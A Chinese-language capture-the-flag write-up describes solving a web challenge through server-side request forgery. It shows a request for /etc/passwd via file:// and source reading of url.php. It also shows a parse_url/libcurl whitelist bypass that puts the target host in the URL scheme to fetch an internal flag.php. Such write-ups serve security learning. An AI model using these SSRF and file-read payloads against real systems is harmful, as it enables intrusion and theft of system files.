-
-
[原创]第四题writeup
-
发表于: 2022-5-17 09:24 3639
-
上来扫路径,扫出以下可以访问文件
http://121.36.145.157:8044/phpinfo.php
http://121.36.145.157:8044/index.php
http://121.36.145.157:8044/url.php
(还有一些boku.php兔子洞,后来被删掉了)
其中,F12这个index.php页面,看到图片实际是调用的ctf.pediy.com的资源。
< img src="url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png">
对url.php?url=? 进行SSRF尝试,试了
url.php?url=http://baidu.com --> host not allow
url.php?url=127.0.0.1:8044 --> scheme is null
url.php?url=http://127.0.0.1:8044 --> 无返回
url.php?url=http://127.0.0.1:80 --> 返回index.php
根据以上返回,发现似乎1.存在白名单,2.必须使用scheme://host形式的url 3.且本地开放端口是80,做了一次端口转换。
于是尝试使用其它类型的scheme,
url.php?url=file://127.0.0.1/etc/passwd --> 直接返回passwd,不用绕过。
结合phpinfo.php里的信息,web路径应该是常规的/var/www/html
读url.php内容:
url.php?url=file://127.0.0.1/var/www/html/url.php
果然是通过parese_url()去提取出host以及scheme,然后使用curl_exec()进行访问,并且验证了是否为空,并且host必须是在白名单里的才行。
注释里面贴心的放了flag.php的位置,在另一个ip。
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);
直接访问,报错error ip。
似乎这题大概思路就是用http://121.36.145.157:8044/url.php?url=这里的ssrf去访问123.57.254.42/flag.php,目标很清晰,但是实际操作起来还是有点难度。
首先我们知道parse_url是读取最后一个@后面的域名,于是我们构造了http://123.57.254.42@127.0.0.1/flag.php的url,能绕过白名单的检测,但是curl_exec()无法访问到http://123.57.254.42/flag.php。我们试了包括换scheme、截断等方法,尝试各种姿势,都不行,于是陷入了僵局。
后来,看到了一篇文章,https://hackerone.com/reports/1049624,提到了一种方法绕过较新版本的libcurl,就是把待访问的域名放scheme里面,绕过白名单限制的域名放后面,尝试:
123.57.254.42://127.0.0.1 --> 报了404,并且apache版本变了,说明访问到了123.57.254.42。
123.57.254.42://127.0.0.1/../flag.php --> 成功
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!